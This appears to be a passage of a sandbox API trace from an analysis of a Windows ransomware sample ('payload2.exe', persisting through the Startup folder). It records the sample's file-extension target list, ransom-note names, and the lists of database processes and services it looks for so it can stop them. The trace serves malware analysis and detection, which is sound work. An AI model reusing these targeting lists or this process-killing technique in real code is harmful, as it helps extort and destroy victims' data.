.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0264.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x332f08 | out: hHeap=0x2a0000) returned 1 [0264.546] lstrlenW (lpString="") returned 0 [0264.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f4d88 | out: hHeap=0x2a0000) returned 1 [0264.546] lstrlenW (lpString=".html") returned 5 [0264.546] lstrlenW (lpString=".html") returned 5 [0264.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f4d88 | out: hHeap=0x2a0000) returned 1 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4db8, Size=0x20) returned 0x2d9c40 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9c40, Size=0x40) returned 0x2dad68 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dad68, Size=0x80) returned 0x31eef8 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322270, Size=0x8) returned 0x322280 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322280, Size=0x10) returned 0x2f4db8 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4db8, Size=0x20) returned 0x2d9c90 [0264.546] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0264.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31eef8 | out: hHeap=0x2a0000) returned 1 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4de8, Size=0x20) returned 0x2d9cb8 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9cb8, Size=0x40) returned 0x2dad68 [0264.546] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0264.546] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0264.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dad68 | out: hHeap=0x2a0000) returned 1 [0264.546] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4de8, Size=0x20) returned 0x2d9cb8 [0264.546] lstrlenW (lpString="Info.hta") returned 8 [0264.546] lstrlenW (lpString="Info.hta") returned 8 [0264.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9cb8 | out: hHeap=0x2a0000) returned 1 [0264.547] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x332f08, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x68 [0264.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x332f08 | out: hHeap=0x2a0000) returned 1 [0264.547] lstrlenW (lpString="payload2.exe") returned 12 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9c90, Size=0x40) returned 0x2dad68 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4de8, Size=0x20) returned 0x2d9c90 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4de8, Size=0x20) returned 0x2d9ce0 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9ce0, Size=0x40) returned 0x2dadb0 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dadb0, Size=0x80) returned 0x31eef8 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2f0f00 [0264.547] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f0f00 | out: hHeap=0x2a0000) returned 1 [0264.547] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x332f08, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0264.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x342f10 | out: hHeap=0x2a0000) returned 1 [0264.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x332f08 | out: hHeap=0x2a0000) returned 1 [0264.547] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322280, Size=0x8) returned 0x322270 [0264.547] lstrlenW (lpString="%windir%;") returned 9 [0264.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9c90 | out: hHeap=0x2a0000) returned 1 [0264.548] lstrlenW (lpString="C:\\Windows;") returned 11 [0264.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3002f0 | out: hHeap=0x2a0000) returned 1 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4e00, Size=0x20) returned 0x2d9c90 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9c90, Size=0x40) returned 0x2dadb0 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dadb0, Size=0x80) returned 0x31eef8 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2f0f00 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3222b0, Size=0x8) returned 0x3222c0 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3222c0, Size=0x10) returned 0x2f4e48 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4e48, Size=0x20) returned 0x2d9c90 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322280, Size=0x8) returned 0x3222c0 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322290, Size=0x8) returned 0x322280 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3222b0, Size=0x8) returned 0x3222d0 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3222d0, Size=0x10) returned 0x2f4f10 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4f10, Size=0x20) returned 0x2d9ce0 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3222c0, Size=0x10) returned 0x2f4f10 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322280, Size=0x10) returned 0x2f4f40 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3222c0, Size=0x8) returned 0x3222b0 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f00, Size=0x8) returned 0x2f2f10 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4f10, Size=0x20) returned 0x2d9d08 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4f40, Size=0x20) returned 0x2d9d30 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f20, Size=0x8) returned 0x2f2f30 [0264.548] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0264.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f0f00 | out: hHeap=0x2a0000) returned 1 [0264.548] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4fb8, Size=0x20) returned 0x2d9d80 [0264.548] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x3002f0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0264.548] lstrlenW (lpString="C:\\") returned 3 [0264.548] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0264.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3002f0 | out: hHeap=0x2a0000) returned 1 [0264.549] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f60, Size=0x82) returned 0x321800 [0264.549] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f80, Size=0x100) returned 0x2f0f00 [0264.549] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321800, Size=0x104) returned 0x2f5788 [0264.550] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f0f00, Size=0x200) returned 0x2f58b0 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2f70 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f58b0 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5060 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31f118 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5018 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31f090 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5048 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5788 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5030 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321890 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5078 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f56f8 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5090 | out: hHeap=0x2a0000) returned 1 [0264.551] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5090, Size=0x20) returned 0x2d9da8 [0264.551] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9da8, Size=0x40) returned 0x2dadb0 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2f40 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f4fb8 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321770 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f4fe8 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31f008 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f4fd0 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2f50 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5000 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321e50 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2da3a0 | out: hHeap=0x2a0000) returned 1 [0264.551] lstrlenW (lpString="%systemdrive%") returned 13 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9d80 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31eef8 | out: hHeap=0x2a0000) returned 1 [0264.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2f20 | out: hHeap=0x2a0000) returned 1 [0264.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x322ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0264.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2dbe18*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 85 os_tid = 0x5a4 Thread: id = 87 os_tid = 0x5fc [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5000 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5000, Size=0x20) returned 0x2d9da8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9da8, Size=0x40) returned 0x2dadf8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dadf8, Size=0x80) returned 0x31eef8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2f0f00 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5000 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5000, Size=0x20) returned 0x2d9da8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9da8, Size=0x40) returned 0x2dadf8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dadf8, Size=0x80) returned 0x31eef8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2f1008 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f5000 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2f2f20 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f4fd0 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f20, Size=0x8) returned 0x2f2f50 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2da3c0 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f50, Size=0x10) returned 0x2f4fe8 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2da3e0 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2d9da8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4fe8, Size=0x20) returned 0x2d9dd0 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d9df8 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2da400 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2d9e20 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f4fe8 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2f2f50 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2dadf8 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f50, Size=0x8) returned 0x2f2f20 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c) returned 0x2dae40 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2f20, Size=0x10) returned 0x2f4fb8 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2da420 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2da440 [0264.595] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f4fb8, Size=0x20) returned 0x2d9e48 [0264.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x321e88 [0264.595] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0264.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f0f00 | out: hHeap=0x2a0000) returned 1 [0264.595] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0264.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f1008 | out: hHeap=0x2a0000) returned 1 [0264.596] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2d9f38 [0264.674] EnumServicesStatusExW (in: hSCManager=0x2d9f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0264.676] GetLastError () returned 0xea [0264.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa08) returned 0x312828 [0264.676] EnumServicesStatusExW (in: hSCManager=0x2d9f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x312828, cbBufSize=0xa08, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x312828, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0264.678] CloseServiceHandle (hSCObject=0x2d9f38) returned 1 [0264.685] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.685] lstrlenW (lpString="AudioSrv") returned 8 [0264.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0264.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0264.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0264.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0264.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0264.685] lstrlenW (lpString="BFE") returned 3 [0264.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.685] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.685] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.685] lstrlenW (lpString="CscService") returned 10 [0264.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0264.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0264.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0264.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0264.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0264.685] lstrlenW (lpString="DcomLaunch") returned 10 [0264.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.685] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.685] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.685] lstrlenW (lpString="Dhcp") returned 4 [0264.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.686] lstrlenW (lpString="Dnscache") returned 8 [0264.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.686] lstrlenW (lpString="eventlog") returned 8 [0264.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0264.686] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0264.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0264.686] lstrlenW (lpString="EventSystem") returned 11 [0264.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.686] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.686] lstrlenW (lpString="gpsvc") returned 5 [0264.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.686] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.686] lstrlenW (lpString="lmhosts") returned 7 [0264.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.686] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.686] lstrlenW (lpString="MMCSS") returned 5 [0264.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0264.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0264.686] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0264.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0264.687] lstrlenW (lpString="nsi") returned 3 [0264.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.687] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.687] lstrlenW (lpString="PlugPlay") returned 8 [0264.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.687] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.687] lstrlenW (lpString="Power") returned 5 [0264.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.687] lstrlenW (lpString="ProfSvc") returned 7 [0264.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.687] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.687] lstrlenW (lpString="RpcSs") returned 5 [0264.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.688] lstrlenW (lpString="SamSs") returned 5 [0264.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.688] lstrcmpiW 